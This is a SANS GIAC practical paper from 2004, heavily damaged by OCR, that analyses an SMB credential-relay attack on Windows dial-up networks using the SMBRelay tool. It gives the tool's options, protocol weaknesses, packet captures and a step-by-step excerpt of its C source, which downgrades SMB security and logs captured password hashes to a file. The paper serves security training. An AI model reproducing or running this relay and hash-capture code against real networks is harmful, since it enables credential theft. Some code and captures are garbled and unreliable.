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1. Statement of purpose
Overview

The first part of this paper shows the way in which an external hacker from a partner
company can exploit password information, by utilizing freeware  backdoor
SMBRelay as a rogue SMB server in combination with other hackers tools, such as
as netcat, nthash, crack, pwdump2 and viruses. An example of a virus for dial-up
clients is given. The paper aslo describes Microsoft dial-up network client
authentication MS-CHAP weakness and how they pave the way for backdoor
SMBRelay to perform the final stage of the attack, how the hacker may bypass MS
Kerberos v5 authentication.

The second part describes five stages of the actual exploitation: Reconnaissance,
Scanning, Exploiting Systems, Keeping Access and Covering Tracks.

The third part explains how the Incident Handling Team manage the entire incident.
All the stages are shown in detail: Preparation, Identification, Containment,
Eradication, Rocovery and Lessons Learned.

About the attack

Attack is performed through the dial-up connection, utilizing partner's network's dial-
up infrastructure containing NAS, ACS server and AD. In this type of attacks the
Visual basic script depicted in Appendix A serves as the virus. The attacker
captures victim's the dial-up credentials, crack the domain user's password and then
take over the corresponding victim's LAN workstation. On this workstation, the
attacker stops antivirus software and set up a SMBRelay trap for further password
capturing attacks previously spreading another type of virus.

Objectives

The capture of domain administrator's passwords aimed at grabbing confidential
information from MS SQL 2000 database whose access is protected with
Entrust/Direct strong client mutual public key authentication and CAST-128
encryption.

2. Exploit
Name:
SMBRelay v0.981 can work as a rogue SMB server only, not MiTM server.

Options:
/D num - Set debug level, current valid levels: 0 (none), 1, 2
Defaults to 0
/E - Enumerates interfaces and their indexes
/IL num - Set the interface index to use when adding local IP addresses
/IR num - Set the interface index to use when adding relay IP addresses
Defaults to 1. Use /E to display the adapter indexes
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/L[+] IP - Set the local IP to listen on for incoming NetBIOS connections
Use + to first add the IP address to the NIC

Defaults to primary host IP

IR[-] IP - Set the starting relay IP address to use

Use - to NOT first add each relay IP address to the NIC

Defaults to 192.1.1.1

/S name - Set the source machine name

Defaults to CDC4EVER

Bulletins

e Securityfocus: "Authentication flaw in Microsoft SMB protocol".
http://www.securityfocus.com/archive/1/319131

e Securiteam: " Authentication Flaw in Microsoft SMB Protocol Still Present
After 3 Years".
http://www.securiteam.com/windowsntfocus/5SWPOLO09PK.html

e CVE: CAN-2002-1256
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-1256

e Bugtraqg: N/A

e CERT#N/A

Origins

Author: Sir Dystic
Date: April 2001

Affected operating systems

All versions and service packs of Windows including:
Windows NT 4.0 Server/Workstion (confirmed in the lab)
Windows 2000 Server/Professional (confirmed in the lab)
Windows .NET Server (vulnerable but not confirmed)
Windows XP (confirmed in the lab)

Windows 9X/Me (vulnerable but not stable)

File information:

Process name: smbrelay.exe
File size: 80KB
MD5 checksum: c42e20195225d79ebb4b8a344be5ad93

Variants

e SMBRelay v0.992 can work as rogue and MiTM SMB server and has two
command options additionally:
/F — Fake server only, capture password hashes and do not relay password
hashes in the second last step of exploit;
IT IP — Connect to target IP instead of back to the incoming address to
perform MiTM attack.
Publicly available only source code.
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e SMBRelay2 v0.98 can work as MiTM SMB server and has similar command
options as SMBRelay v0.992 , support listening on one name:

SMBRelay2 v.98 - NetBIOS level SMB man-in-the-middle relay attack

Options:

/A LanaNum - Use LanaNum
Defaults to 0

/D DebugLevel - Level of debug messages, valid levels O - 3
Defaults to 0

/L LocalName - Listen for primary connection on LocalName
Defaults to SERVER

/IR RelayName - Listen for relay connection on RelayName
Defaults to RELAY

/S SourceName - Use SourceName when connecting to target
Defaults to CDC4EVER

/T TargetName - Connect to TargetName for relay
Defaults to connecting back to client

1? IH - This help

First, in Windows 2000, it is needed to determine NetBIOS LANA number with
lanacfg.exe utility [7.1]:

Select C:\WINNT  system32'cmd.exe - smbrelay? |

Microsoft Windows 2000 [Vepsion 5.00.2195]
CC» Copyright 1985-2000 Microsoft Corp.

C:*>lanacfg showlanapaths
Lana: 3
—>*NWLink NetBIOS

Lana: 4
—IINS Client{ICP-IF> Protocol—>Internet Protocol (ICPAIP>—>InteldR> FRO-100
JE Metwork Connection

Lana: m
—*UIHNS Client<{TCP-AIP> Protocol—2>Internet Protocol (ICPAIP>—>»Allied Telesyn AT
—2700F8 PCI 100Mh Ethernet Adapter #2

- nhrelav2 #A 4 /L pirate /R rela
SMBRelay? v_ %8 — MNetBIOS level SMB man—in—the—middle welay attack

Registering MetBIOS name: PIRATE 20> ..
Liztening for connections from name: * <mm>. ..

Protocols/Services/Applications
e LM challenge/response authentication protocol

The LM password is not case sensitive. The password is forced to uppercase before
DES encryption. The password can be up to 14 characters long. The first and the
second 7 bytes of the password are used as encryption keys to encrypt the constant
"KGS!@#%$%" and produce a 16 byte hash value. The protocol briefly:
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The server sends a 8 byte random hallenge.

2. The client concatenates a 16 byte password hash value with 5 zeros and
divides this 21 byte string into 3 equal parts and uses each 7 byte part
independently (ECB encryption mode) as a DES encryption key to encrypt
challenge to produce a 24 byte response.

3. The client sends the response back to the server.

e NTLM challenge/reponse authentication protocol

The NTLM password is based on a Unicode character set. It is case sensitive and
can be up to 128 characters long. NT password is computed using MD4 hash
function to compute the 16 byte digest of the password. The protocol works in the
same way as for LM authentication protocol to produce 24 byte response and is
stronger than the LM protocol against dictionary and brute force attacks.

e NTLMv2 chalenge/response authentication protocol

NTLMv2 password is computed as for NTLM authentication protocol, but with
neglible differences [7.2]. The protocol is stronger than NTLM protocol against
dictionary and brute force attacks. The protocol briefly:

1. The server sends a 8 byte random challenge.

2. The client concatenates 16 byte NTLMv2 password hash value , username,
domain name or host name, challenge and computes HMAC-MD5 hash to
produce a 16 byte response.

3. The client sends the response back to the server.

e LMv2 challenge/response authentication protocol

LMv2 password hash is computed as for NTLMv2 authentication protocol and used
in Windows 9x/ME. The protocol works in the same way as for NTLMv2
authentication protocol , but with neglible differences [7.2]. For compatibility
purposes full response is 24 bytes long. Protocol is stronger than LM protocol
against dictionary and brute force attacks.

e Microsoft Kerberos V5 authentication protocol bypassing method

By default, Windows 2000 tries to use Kerberos as its security provider. When client
uses Kerberos to authenticate itself to as server, the client requests as TGS ticket for
SPN in AD by design [7.3]. IP addresses are not names, so Kerberos is not used.
After this occurs, the domain controller generates an error:
krb5kdc_err_s_principal_unknown and goes to the NTLMSSP.
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& SMB_ip - Ethereal [ ]

File Edit Capture Display Tools Help
Mo. . [Time Source Destination |F'r0tnc:n| |Inf|3 =
1% 0.010716 wictim.wild. com COACH TCP 2030 > nethios-ssn [ACK]
20 0.190064 wictim.wild. com PIRATE TCP 2026 > microsoft-ds [AcCK |
21 0.190111 wictim.wild. com COACH TCP 2022 » microsoft-ds [ACK

22 1.668438 victim.wild. com COACH KRES TES-RED

23 1 COACH wictim. KRE-ERRCR

24 1.674723 victim.wild. com PIRATE SME Session Setup Andx Reqgue

25 1.677429 PIRATE victim. wild. com SME session Setup Andx Respo

26 1.678562 victim.wild. com PIRATE SME Session Setup Andx Reqgue

27 1.680463 PIRATE victim. wild. com SME session Setup Andx Respo

28 1.681753 wictim.wild. com PIRATE SME Tree Connect Andx Regues

29 1.683388 PIRATE wictim. wild. com SME Tree Connect Andx Respon

30 1.684029 victim.wild.com PIRATE SME Transaction2 Regquest GET |/
|~ I =

T Ie . T—I I .oJ. T

-l

susec: 5511340

Error code: KRESKEDC_ERR_S_PRIMCIPAL _LINMKROWHR

realm: WILD.COM —'f,
[ e I | I PR,
[ |
0020 01 03 00 58 07 9 00 60 6h 26 7e 56 30 54 a0 03 e ¥ e kEAVOT.. A
0030 02 01 05 al 03 02 01 le a4 11 18 OF 32 30 30 34 .....ie. wenn 2004
o040 30 35 31 34 31 34 30 33 30 32 Sa af 09 02 03 0d 05141403 02Z..... J

0050 &7 ec a6 03 M ab 0Oa 1h 08 57 49 4c 44 Ze  ....HAA. ...wILD.
0060 4% 4F 4d aa 1d 30 1b a0 03 02 01 07 al 14 30 12  COM..0.. ......0.
0070 1k 0 Al TR AP F4 AT 74 1k OR 57 40 4c 44 Pe L krbtor | wTinLc £

a3
Fiter| ] Rese] Appi

e MS-CHAP authentication protocol

MS-CHAP is Microsoft's PPP CHAP implementation to handle authentication and is
almost identical to the LM and NTLM challenge/response authentication protocols
that are used for client authentication on Windows-based networks. Both LM and
NTLM responses are sent.

e MS-CHAPv2 authentication protocol

The protocol provides mutual challenge/respone authentication between a client and
server and is imune to the MiTM attacks. The weaker LM response is no longer sent
along with the stronger NTLM response. The protocol is as strong as MS-CHAP
protocol (with NTLM responses only) against dictionary and brute force attacks.

e Description of MS-CHAP/CHAPv2 weakness

The derivation of the third DES key is a major flaw in the MS-CHAP/CHAPV2 remote
access authentication protocols [7.4] family. The last 5 bytes of the third DES key are
zeros which encrypt challenge. In the MS-CHAPv2 protocol the third key has an
effective length of 2 bytes. Attackers can reduce the hash space of possible hash
values fromthe whole password search by factor 2716 in the MS-CHAPvV2 protocol
[7.5]. In the MS-CHAP protocol, attackers can reduce the hash space of possible
hash values by factor 2216 from password's second 7 byte part search and by factor
278 from password's first 7 byte part. The attacker need to a build up a table with
2716 rows and N/2”16 (N - number of possible passwords) columns for a brute force
attack. The number of possible password guesses using hash function (DES/MD4
for MS-CHAP/CHAPV2 respectively) is

N/278 + N/2716, for MS-CHAP with LM password hashes
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N/2"16, for MS-CHAP/CHAPV2 with NTLM password hashes

e SMB protocol over NetBT

Microsoft uses the SMB protocol for "File and Printer sharing service" in all versions
of Windows. SMB is a protocol for sharing files, printers,serial ports and
communications such as named pipes and mail slots between computers. The SMB
protocol model defines two levels of security. The user level is applied to individual
files in each share and based on user access rights. The share level is applied at the
share level on a server and a client needs pasword to access all files under that
share. SMB protocol briefly:

TCP connection to port 139 is established.

NetBT is set up over the TCP connection.

SMB session is established over NetBT session (SMB_COM_NEGOTIATE).
SMB exports file system (SMB_COM_TREE_CONNECT_ANDX).

If the file system is the user level, challenge/response authentication is
performed, if it is the share level — username and password authentication
performed (SMB_COM_ SESSION_SETUP_ANDX).

arwnhE

General description

SMBRelay v0.981 is a program that receives a connection on port 139, connects
back to the connecting computer's port 139, and relays the packets between the
client and the server of the connecting Windows machine i.e., retransmits packets as
parrot. The process of capturing is shown in Fig.1.

E—T Session Request > ]
L e ; [o]
- Session Request
Q_ Session Response > Q_
Victim SMBRelay Server
% Session Response
Negotiate Protocol Request >
- Negotiate Protocol Request

Negotiate Protocol Response, Challengex>

<Negotlate protocol Response, ChallengeX Capture LM/NTLM or LMv2/
NTLMv2 ChallengeX and
SessionSetup andX Request, ResponseL ResponseY

Fig.1Challenge/response capturing process with rogue SMBRelay server

7
© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.



SMBRelay can act as a rogue SMBRelay server or MiTM server. Since Windows
NT 4.0 Service Pack 3, digitally signing SMB communications and NetLogon channel
can be used to protect against the second type of attacks. SMBRelay v 0.981
program source is given in [6.2]. Microsoft Kerberos V5 may be bypassed in a
homogenous Windows 2000 enviroment and SMBRelay program captures user
LM/NTLM (24/24 bytes) or LMV2/NTLMv2 (24/16 bytes) challenges/responses [7.6],
if hosts are referenced by their IP addresses or two hosts are in a different forest.

Step by Step analysis of SMBRelay v0.981 code

Outlined below are SMBRelay v0.981 code steps results and the relevant portions of
code, associated with each step and Ethereal captured packets, including the
description of each step.

< Elau uﬂ 931
Fﬂpuquht 2001z

CP {HetBT» level SMB man—in—the-mniddle relay attack
¢ Dystie, Cult of the Dead Cow

Cend :nnp]..:.:l.nl:-_.. ideas and donations to ..:ul]’?-t:|.|:E'|:ult|]l|.~ud1.'uu.1:un

lsing eelay .:.d.:.[ll:zl- index 100BAA3: Intel{R> PRO Adapter

Bound to port

Connection From 1'J£ 1.1.

Regquest type:
Source name:
Target name:

139 on addeess 172.4.41.2
. 3:1818

tession Regquest 72 hytes
L[]

I 4
#EMBEERUER <203

Cetting target name to source name and source name to ' CDC4EUER' ...

HESPDHSE:
Regquest type:
CHE_COM HE DT

Response :
ﬂhnf

Lnunnn L ype :
e

Re-pun-u
Ld.1:I:I'Id.I1 L ype s
Domain:

Rﬂ uwest Cype:
_COM IHEHL

Rﬂ-pun-u

Lanman type:
77T

Response
0 -

Lanman type:
Domain:

Pacsword hach
Connected?

Relay IP adds
Bound to port

|an

Positive Session Response 4 hytes

137 hytes

iﬂl‘l HEEEd‘IE

Session Message 185 hytes

lenge <8 bytesi: CnuEﬂ&FJFHH4 [ E]

szage 194 hytes
D

Seezion HE::qu

Mindows 5. e Lo

H n dﬂ WE d EBE Lﬁ H Hn:l.rl aLfEr =
“UILD"

182 hytes

Session Message

SACTIONZ

Sezzion Mezzage 39 hytes

254 hytes

834C964C4720853B2EE22AET2I9D2CEEYE4BSFI7OCTI6ECC
FeD3?PC26A3CHSBCY1D27DP 756 EFBLCOGS BEABE 740070777

word:z

"Windows 2000 2195"
:Hxndnua 2p@8 5.av

szage 144 hytes

“H;nduw; @88 LAN Hanager"

"WILD™
weritten to disk

added to intewrface 10BBEEF
on addeezs 192.1.1.1 welayin

for host UICTIH 1972.1.1.3

X| Step 0

Step 1

Step 2

Step 3

Step 4

Step 5

Step B

/I Step 0: Bound to port 139 on local address and accept incoming connection
/l[from remote host.

© SANS Institute 2004,

sockaddr.sin_addr.s_addr = g_LocallP;
sockaddr.sin_port = htons(g_LocalPort);
sockaddr.sin_family = AF_INET;

if (g_bAddLocallP)

{

As part of GIAC practical repository.
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DWORD Netmask = inet_addr("255.255.255.0");

d = AddIPAddress(g_LocallP, Netmask, g_LocallnterfaceNumber, &NTEContext, &NTEInstance);

if (d = NO_ERROR)

printf("Error %d adding IP address to interface %x: %s\n", d, g_LocallnterfaceNumber, StrError(d));
else

printf("Local IP address added to interface %x\n", g_LocallnterfaceNumber);

}
if (bind(tcpsock, (LPSOCKADDR)&sockaddr, sizeof(sockaddr) ) == SOCKET_ERROR)

{

d = GETSOCKETERROR();

printf("Error %u binding to port %d at address %s\n", d, g_LocalPort, inet_ntoa(sockaddr.sin_addr) );
closesocket(tcpsock);

return O;

} else {

printf("Bound to port %d on address %s\n", g_LocalPort, inet_ntoa(sockaddr.sin_addr) );

}
if (listen(tcpsock, SOMAXCONN) == SOCKET_ERROR)

{

d = GETSOCKETERROR();
printf("Error %u listening on socket\n", d );
closesocket(tcpsock);

return O;

}

signal(SIGBREAK, SignalHandler);
signal(SIGINT, SignalHandler);
signal(SIGABRT, SignalHandler);
signal(SIGFPE, SignalHandler);
signal(SIGILL, SignalHandler);
signal(SIGSEGV, SignalHandler);
signal(SIGTERM, SignalHandler);

DWORD | = 1;

ioctlsocket(tcpsock, FIONBIO , &l);
do

{

NEWCONINFO newconinfo;
int socklen = sizeof(sockaddr);
do

9
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{if ((inconsock = accept(tcpsock, (LPSOCKADDR)&sockaddr, &socklen)) == INVALID_SOCKET)
{

DWORD err = WSAGetLastError();

if (err '= WSAEWOULDBLOCK

{

printf("Error %d receiving incoming NetBIOS connection\n”, err);
g_bQuit = FALSE;

}

else

{

Sleep(5);

}

}

} while (Ig_bQuit && inconsock == INVALID_SOCKET );

if (g_bQuit)

{

BOOL bDup = FALSE;

DWORD d;

for (d = 0; d < ConnectedSize && 'bDup; d++)

{

if (ConnectedList[d] == sockaddr.sin_addr.s_addr)

bDup = TRUE;

}

if (bDup)

{

printf("Connection rejected: %s already connected\n”, inet_ntoa(sockaddr.sin_addr));
closesocket(inconsock);

}

else

{

printf("Connection from %s:%d\n", inet_ntoa(sockaddr.sin_addr), ntohs(sockaddr.sin_port));
ConnectedList[ConnectedSize] = sockaddr.sin_addr.s_addr;
newconinfo.hostcount = ConnectedSize++;

newconinfo.connectionsock = inconsock;
memcpy(&newconinfo.sourcesockaddr, &sockaddr, sizeof(SOCKADDR_IN));
_beginthread(mainconnectionhandler, 0, &newconinfo);

Sleep(50);

}

/IMain body

while (bContinue && !'bConnected && !g_bQuit)

10
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{
/IReceive buffered incoming packet data to connected input socket.

x = recv(inconsock, buff, sizeof(buff), 0);

if (x<1)

{

printf("Error receiving data from incoming connection\n");

return;

)
/I Print Request type: Session Request in Step 1 and Request type: Session

/IMessage in the Step 2, Step 3, Step 4, Step 5.
printf("Request type: %s %d bytes\n", GetMessageType(pnbsessionheader->Type), x);

switch (pnbsessionheader->Type)

/] Step 1.

{
case TYPE_SESSION_REQUEST:

NetBIOSNameToString(namebuff, (BYTE *)buff + 38, x - 38);
printf("Source name: );
PrintNetBIOSName((BYTE *)namebuff);
memcpy(hostname, namebuff, 15);
hostname[15] = 0;

{

char *ptr = &hostname[14];

while (*ptr=="")

{

*ptr = 0;

ptr--;

}

}
NetBIOSNameToString(namebuff, (BYTE *)buff + 4, x - 4);

printf("\nTarget name: ");

PrintNetBIOSName((BYTE *)namebuff);

printf("\nSetting target name to source name and source name to '%s'...\n", g_SourceName);
// could also fill in *SMBSERVER here

/I copy source name to target name

memcpy(buff + 4, buff + 38, 34);

/I change service value to server (0x20)

memcpy(buff + 35, "CA", 2);

/I convert name string to netbios name format

StringToNetBIOSName(namebuff, g_SourceName, 20);

/I copy our source name to packet
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memcpy(buff + 38, namebuff, 34);
break;

case TYPE_SESSION_MESSAGE:

/Il SMB_COM_NEGOTIATE in Step 2,SMB_COM_SESSION_SETUP_ANDX in
/iStep 3 and Step 5, SMB_COM_TRANSACTIONZ in Step 4.

if (psmbheader->MagicVal == SMBMAGICVAL) // SMB connections.
{

printf("%s\n", GetCommandType(psmbheader->Command) );

/I Downgrade security yo NTLM

psmbheader->bExtendedSecurity = FALSE;
psmbheader->bNTErrorCodes = FALSE;

psmbheader->bUnicodeStrings = FALSE;
psmbheader->bFlags2isLongName = FALSE;

switch (psmbheader->Command)

{
Il Step 2.

case SMB_COM_NEGOTIATE:

/I set to NT style connection (no extended security)
psmbheader->bUnicodeStrings = FALSE;
psmbheader->bNTErrorCodes = FALSE;
psmbheader->bUnknownl = FALSE;
psmbheader->bUnknown2 = FALSE;
psmbheader->bUnknown3 = FALSE;
psmbheader->bUnknown4 = FALSE;
psmbheader->bUnknown5 = FALSE;
psmbheader->bUnknown6 = FALSE;
psmbheader->bUnknown7 = FALSE;
psmbheader->bUnknown8 = FALSE;
psmbheader->bExtendedSecurity = FALSE;

break;

Il Step 3, Step 5.
case SMB_COM_SESSION_SETUP_ANDX:

switch (psessionsetupand->Len)

{
Il Step 3, Step 5.
case SESSION_SETUP_ANDHEADER2_LEN:  //NT 4

printf("Password lengths: %d %d\n", psessionsetupand2->CaselnsensitivePasswordLen,
psessionsetupand2->CaseSensitivePasswordLen );

if (psessionsetupand2->CaselnsensitivePasswordLen > 1)
Il Step 5.
{
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printf("Case insensitive password: ");

PintHexString((BYTE *)(psessionsetupand2 + 1), psessionsetupand2->CaselnsensitivePasswordLen
);

puts(™);

memcpy(caseinsensitivepassword, psessionsetupand2 + 1, 24);

}

if (psessionsetupand2->CaseSensitivePasswordLen > 1)
/] Step 5.

{

printf("Case sensitive password: ");

PrintHexString((BYTE *)(psessionsetupand2 + 1) + psessionsetupand2-
>CaselnsensitivePasswordLen, psessionsetupand2->CaseSensitivePasswordLen );
puts(™);

memcpy(casesensitivepassword, (BYTE *)(psessionsetupand2 + 1) + psessionsetupand?2-
>CaselnsensitivePasswordLen, 24);

}

if (/* psmbheader->bUnicodeStrings *TRUE)
/] Step 3, Step 5.

{
WCHAR *ptr = (WCHAR *)(psessionsetupand?2 + 1);

ptr = (WCHAR *)((char *)ptr + psessionsetupand2->CaselnsensitivePasswordLen +
psessionsetupand2->CaseSensitivePasswordLen + 1);

printf("Username:  \"%S\"\n", ptr);

sprintf(username, "%S", ptr);

ptr += wcslen(ptr) + 1;

printf("Domain: \"%S\"\n", ptr);

ptr += wcslen(ptr) + 1;

printf("OS: \"%S\"\n", ptr);

#if 1

_snwprintf(ptr, weslen(ptr) , L"Owned by cDc ");
#endif

ptr += wcslen(ptr) + 1;
printf("Lanman type: \"%S\"\n", ptr);

ptr += wcslen(ptr) + 1;

printf("??7: \"%S\"\n", ptr);
ptr += wcslen(ptr) + 1;

}

else

{

char *ptr = (char *)(psessionsetupand2 + 1);
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ptr += psessionsetupand2->CaselnsensitivePasswordLen + psessionsetupand?2-
>CaseSensitivePasswordLen + 1;
printf("Username:  \"%s\"\n", ptr);
strncpy(username, ptr, sizeof(username));
ptr += strlen(ptr) + 1;

printf("Domain: \"%s\"\n", ptr);

ptr += strlen(ptr) + 1;

printf("OS: \"%s\"\n", ptr);

ptr += strlen(ptr) + 1;

printf("Lanman type: \"%s\"\n", ptr);

}

}

}

}
/ISend buffered outgoining data on a connected output socket. Control
/loutgoining connection data status.

send(outsock, buff, x, 0);

x = recv(outsock, buff, sizeof(buff), 0);

if (x<1)

{

printf("Error receiving data from outgoing connection\n");
return;

}

printf("Response:  %s %d bytes\n", GetMessageType(pnbsessionheader->Type), X);

/I Response: Positive Session Response x bytes in Step 1, Response: Session
/IMessage x bytes in Step2, Step 3, Step 4, Step 5.

switch (pnbsessionheader->Type)
{
case TYPE_SESSION_MESSAGE:

switch (psmbheader->Command)

{
/l Receiving Challenge in Step 2.

case SMB_COM_NEGOTIATE:

SessionlD = pdialectselectheader->UniqueSessionKey;

if (pdialectselectheader->EncryptionKeyLen )

{

printf("Challenge (%d bytes): ", pdialectselectheader->EncryptionKeyLen);
PrintHexString((BYTE *)(pdialectselectheader + 1), pdialectselectheader->EncryptionKeyLen);
memc22py(challenge, pdialectselectheader + 1, 8);

puts(™);

}
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if (IbConnected)
send(inconsock, buff, x, 0);
puts(™);

}

closesocket(inconsock);

I/l Step 6, write captured password information in file.
FILE *file;.

file = fopen("hashes.txt", "a");

if (file '= NULL)

{

fprintf(file, "%s %s\%s:3:", inet_ntoa(sockaddr.sin_addr), hostname, username);
for (x = 0; X < 8; x++)

fprintf(file, "%02X", challenge[x]);

fprintf(file, ":");

for (x = 0; X < 24; x++)

fprintf(file, "%02X", caseinsensitivepassword[x]);

fprintf(file, ":");

for (x = 0; X < 24; x++)

fprintf(file, "%02X", casesensitivepassword[x]);

fprintf(file, "\n");

fclose(file);

printf("Password hash written to disk\n");

}
/I Step 6, connection control.

if (bConnected)

{

DWORD d, NTEContext, NTEInstance;

DWORD IP, Netmask;

printf("Connected?\n");

IP = g_RelayStartIP;

IP = ntohl(htonl(IP) + pnewconinfo->hostcount);

sockaddr.sin_addr.s_addr = IP;

if (_bAddRelaylP)

{

Netmask = inet_addr("255.255.255.0");

d = AddIPAddress(IP, Netmask, g_RelaylnterfaceNumber, &NTEContext, &NTEInstance);
if (d = NO_ERROR)

printf("Error %d adding relay IP address to interface %x: %s\n", d, g_RelaylInterfaceNumber,
StrError(d));

else
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printf("Relay IP address added to interface %x\n", g_RelaylnterfaceNumber);

}

SOCKET relaylistensock = INVALID_SOCKET, relayconnectionsock = INVALID_SOCKET,;
BOOL bConnected = TRUE;

while (bConnected && !g_bQuit)

{

relaylistensock = socket(AF_INET, SOCK_STREAM, 0);

BOOL b = TRUE;

if (setsockopt(relaylistensock , SOL_SOCKET, SO_REUSEADDR, (const char *)&b, sizeof(b) ) ==
SOCKET_ERROR)

{

printf("Error %d setting socket option SO_REUSEADDR\n", GETSOCKETERROR() );
closesocket(relaylistensock );

goto exitrelay ;

}

sockaddr.sin_addr.s_addr = IP;

sockaddr.sin_port = htons(139);

sockaddr.sin_family = AF_INET;

if (bind(relaylistensock, (LPSOCKADDR)&sockaddr, sizeof(sockaddr) ) == SOCKET_ERROR)
{

d = GETSOCKETERROR();

printf("Error %u binding to port %d at address %s\n", d, 139, inet_ntoa(sockaddr.sin_addr) );
closesocket(relaylistensock);

goto exitrelay ;

}

else
{
printf("Bound to port %d on address %s relaying for host ", 139, inet_ntoa(sockaddr.sin_addr) );

printf("%s %s\n", hostname, inet_ntoa(sourcesockaddr.sin_addr) );

}
Step 1:
= Screen 1: Request type: Session Request Length=68(SMB packet lengths in
bytes)+2(lengths in bytes)+1(flags in bytes)+ 1(message type in bytes)=68+4.
Print Source name and Target name.
= Screen 2: Response: Positive session Response Length=0+4

16
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@ ~capture > - Ethereal = ;Iglll

File Edit Capture Display Tools Help |
Ma. . |Time Source Destination |F'r0t0c0| |Inf0 =
10, 000000 victim.wild. com 172.1.1.2 TCP 1817 » microsoft-ds [Syn] Seq J
2 0.000587 victim.wild. com 172.1.1.2 TCP 1818 » netbios-ssn [S¥N] sSeq=
3 0.000907 172.1.1.2 victim.wild. com TCP nethios-ssn > 1818 [SwNM, ACK]
4 victim.wild. 1 1.1.2 TCP 1818 » nethios-ssn [ACK]
ictim.wild 1.1.2 ! ion req 0
6 0,012879 172.1.1.2 victim.wild. com TCP 3213 » nethios-ssn [SYN]
7 0.013196 victim.wild. com 172.1.1.2 TCP nethios-ssn > 3213 [SwN, ACK]
8 0.013455 172.1.1.2 victim.wild. com TCP 3213 > nethios-ssn [ACK] Seq=
MM AT ETES AT 1 et mm R A T Al — i rm—— e = TR AT TRA T -l'lr
[~ [ =
B Transmission Control Protocol, Src Port: 1818 (1818), Dst Port: nethios-ssn (139), Seq: 27328! (&
B NetBIOS Session Service
Message Type: Session reguest
Flags: 0x00
Length: &8
_ S
Calling name: WICTIM<0O0> (workstation/Redirector) Vi
[~ I -
Qo0 00 03 47 39 86 Ze 00 10 5Sa f2 Se ef 08 00 45 00 LG9 L. ZLALLLE. Y
0010 00 FO 78 a3 40 00 B0 06 00 00 ac 01 01 03 ac 01 PGl
Q020 01l 02 07 la 00 8b a2z e4 af d9 8e 2e 57 ae 5018  ........
o1y} 44 3 4 16 4 4 P
E ME FDEFE i
ACACACAZ ACAAA,
7|
J Reset Apply|
= - Ethereal - 10O x|
File Edit Capture Display Tools Help ‘
Ma. . |Time Source Destination |F'r0tocol |Inf0 =
T T
5 0.001195 victim.wild. com 172.1.1.2 MNESS session reguest, to “‘SMBSERVEJ
6 0.012870 172.1.1.2 wictim. wild. com TCP 3213 > nethbios-ssn [SYN] Seg=
7 0.01319% victim.wild. com 172.1.1.2 TCP nethios-ssn > 3213 [SYM, ACK]
8 0.013455 172.1.1.2 wictim.wild. com TCP 3213 » nethios-ssn [ACK] Seq=
9 0.015729 172.1.1.2 wictim. wild. com MESS session regquest, to VICTIM<ZO

Positive = on response
Positive session response

0. 0155, im. wild. 172.1.1.2

: 1.2 MNE
L0165873 172.1.1.2 wictim. wild.

12 0.017634 victim.wild.com l7z2.1.1.2 SME Megotiate Protocol Request /
- ] -
Bl NetBIOS 5ession service &

Message Type: Positive session response
Flags: 0x00 J
g /
0000 00 03 47 39 86 2e 00 10 5a f2 5e ef 08 00 45 00 LG8 ZUALLLE. AN
0010 00 2c 78 ab 40 00 BO 00 00 00 ac 01 01 03 ac 01 Dpc30lEE a0 00000000
0020 01 02 00 8h 0c 8d a2 e6 Of 36 82 2& f8 de 50 18 ........ G
0030 ff b7 5a 26 00 00 82 00 [NEDEN Zé ... W
/

Fiter| A Resat] swo|

Step 2:
= Command: SMB_COM_NEGOTIATE

= Screen 1. Request type: Session Message Length=133+4

= Screen 2: Response: Session Message Length=101+4

= Screen 3: Challenge

= Exploit action: Relay the packet back to the source
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@ <capturez - Ethereal =1ol x|

File Edit Capture Display Tools Help |
MNo. . |Time |Suurce Destination |F'rutucul |Inf0 =
o s RLE s = - e =TT o
70013196 wictim.wild. com 172.1.1.2 TCP nethios-ssn = 3213 [S¥M, ACK
5 0,013455 172.1.1.2 wictim.wild. com TCP 3213 » nethios-ssn [ACK] Segs=
5 0,015729 172.1.1.2 wictim.wild. com NESS Session request, to WICTIM<Z0O
10 0.015%942 wictim.wild.com 172.1.1.2 MESS pPositive session response
0 3172.1.1.2 victim.wild. com Positive session response

01687

2 0.0 34 wictim.wild. com 1 1.1.2 Megotiate Protocol Reguest
13 0.018947 172.1.1.2 victim.wild. com Megotiate Protocol Reguest
14 0,020155 wictim.wild.com 172.1.1.2 Megotiate Protocol Response /
~ [ -
Message Type: Session message K
Flags: 0x00
N
A
I [ —
0030 ff fb 5a ab 00 00 00 00 . M. SMEr =
D040 0D 00 00 18 53 <8 00 00 e eaeanans
0050 00 00 00 Q0 FF fe 00 00 00 00 00 62 00 02 50 43 ... ..... ...hoLPC
0060 20 4e 45 54 57 AF 52 4b METWORK — PROGRAM
D070 20 31 2e 30 00 02 4¢ 41 1.0..LA MNMANL.O.
0080 02 57 69 e &4 &6F 77 73 windows  for wor
00%0 6b &7 72 6F 75 70 73 20 kgroups  3.1a..LM
00ald 31 2e 32 58 30 30 32 00 1. 2=002, . LAMMANZ
00b0  2e 31 00 02 4e 54 20 4c [ ER ' i ) ¢ A y
Filter: | J Reset Apply|
{& <capture> - Ethereal - 1Ol x|
File Edit Capture Display Toals Help |
Mo, . |Time Source Destination |F'rotoco| |Info =
o T oo = - e =TT o
7 0.013196 victim.wild. com 172.1.1.2 TCP nethios-ssn > 3213 [SYM, ACK
5 0.013455 172.1.1.2 wictim.wild. com TP 3213 » nethios-ssn [AaCK] Seg=
9 0,015729 172.1.1.2 wictim.wild. com MNESS session reguest, to WICTIM<ZO
10 0.015%942 wictim.wild.com 172.1.1.2 MESS pPositive session response
11 0.016873 172.1.1.2 wictim.wild. com MESS Positive session response
12 0.017634 wvictim.wild.com 172.1.1.2 SME Megotiate Protocol Reguest
0,019%%47 172.1.1.2 wictim.wild. com Megotiate Protocol Reguest
) 155 wictim.wild. com 1 1.1.¢2 SME Megotiate Protocol Response /
-] ] =
Message Type: Session message &
Flags: 0x00
N
A
- [ =
TULa Ud 9L fo df o uw ouw ou Uo W0 dn WLl UL U do oL EEE L EEECEEE: I
0020 01 02 00 8h Oc 8d a2 e6 Of 3a 8e 2e 9 67 5018  ........ DG o alEs
oo3o ff 2e 5a 8h 00 00 00 00 [EEEH ff 53 4d 42 72 00 ..Z..... ;. SMEr.
Qo400 00 00 00 95 03 00 00 00 00 OO0 Q0 00 00 00 00 00 ..o ceen e
0050 00 00 00 Q0 FF fe 00 00 00 00 11 05 00 03 32 00 . ....... ...... 2.
